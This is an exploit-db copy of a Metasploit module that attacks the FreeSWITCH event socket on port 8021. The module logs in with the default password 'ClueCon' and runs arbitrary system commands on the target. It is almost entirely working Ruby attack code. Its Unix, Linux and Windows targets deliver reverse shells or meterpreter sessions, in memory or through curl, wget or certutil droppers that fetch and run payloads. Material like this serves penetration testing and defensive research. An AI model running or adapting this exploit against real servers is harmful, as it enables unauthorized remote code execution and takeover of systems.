FreeSWITCH – Event Socket Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-11-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47698/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Powershell
    include Msf::Exploit::CmdStager
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'FreeSWITCH Event Socket Command Execution',
    'Description' => %q{
    This module uses the FreeSWITCH event socket interface
    to execute system commands using the `system` API command.
    
    The event socket service is enabled by default and listens
    on TCP port 8021 on the local network interface.
    
    This module has been tested successfully on FreeSWITCH versions:
    
    1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
    1.8.4~64bit on Ubuntu 19.04 (x64); and
    1.10.1~64bit on Windows 7 SP1 (EN) (x64).
    },
    'License' => MSF_LICENSE,
    'Author'=> ['bcoles'],
    'References'=>
    [
    ['CWE', '260'], # default password, configurable in event_socket.conf.xml
    ['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
    ],
    'Platform'=> %w[win linux unix bsd],
    'Arch'=> [ARCH_CMD, ARCH_X86, ARCH_X64],
    'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
    'CmdStagerFlavor' => %w[curl wget certutil vbs],
    'Targets' =>
    [
    ['Unix (In-Memory)',
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
    'Type' => :unix_memory
    ],
    ['Linux (Dropper)',
    'Platform' => 'linux',
    'Arch' => [ARCH_X86, ARCH_X64],
    'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
    'Type' => :linux_dropper
    ],
    ['PowerShell (In-Memory)',
    'Platform' => 'win',
    'Arch' => [ARCH_X86, ARCH_X64],
    'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
    'Type' => :psh_memory
    ],
    ['Windows (In-Memory)',
    'Platform' => 'win',
    'Arch' => ARCH_CMD,
    'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
    'Type' => :win_memory
    ],
    ['Windows (Dropper)',
    'Platform' => 'win',
    'Arch' => [ARCH_X86, ARCH_X64],
    'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
    'Type' => :win_dropper
    ]
    ],
    'Privileged'=> false,
    'DefaultOptions'=> { 'RPORT' => 8021 },
    'DisclosureDate'=> '2019-11-03',
    'DefaultTarget' => 0))
    register_options [
    OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
    ]
    end
    
    def check
    connect
    banner = sock.get_once.to_s
    disconnect
    
    if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
    vprint_error 'Access denied by network ACL'
    return CheckCode::Safe
    end
    
    unless banner.include?('Content-Type: auth/request')
    return CheckCode::Safe
    end
    
    CheckCode::Appears
    end
    
    def auth(password)
    sock.put "auth #{password}\n\n"
    res = sock.get_once.to_s
    
    unless res.include? 'Content-Type: command/reply'
    fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end
    
    unless res.include?('Reply-Text: +OK accepted')
    fail_with Failure::NoAccess, 'Login failed'
    end
    
    print_status 'Login success'
    end
    
    def execute_command(cmd, opts = {})
    api_function = opts[:foreground] ? 'system' : 'bg_system'
    
    sock.put "api #{api_function} #{cmd}\n\n"
    res = sock.get_once.to_s
    
    unless res.include? 'Content-Type: api/response'
    fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end
    
    vprint_status "Response: #{res}"
    end
    
    def exploit
    unless check == CheckCode::Appears
    fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
    
    connect
    banner = sock.get_once.to_s
    
    auth(datastore['PASSWORD'])
    
    print_status "Sending payload (#{payload.encoded.length} bytes) ..."
    
    case target['Type']
    when :unix_memory
    if datastore['PAYLOAD'] == 'cmd/unix/generic'
    execute_command(payload.encoded, foreground: true)
    else
    execute_command(payload.encoded)
    end
    when :win_memory
    if datastore['PAYLOAD'] == 'cmd/windows/generic'
    execute_command(payload.encoded, foreground: true)
    else
    execute_command(payload.encoded)
    end
    when :psh_memory
    execute_command(
    cmd_psh_payload(
    payload.encoded,
    payload_instance.arch.first,
    { :remove_comspec => true, :encode_final_payload => true }
    )
    )
    when :linux_dropper
    execute_cmdstager(:linemax => 1_500)
    when :win_dropper
    execute_cmdstager(:linemax => 1_500)
    end
    ensure
    disconnect unless sock.nil?
    end
    end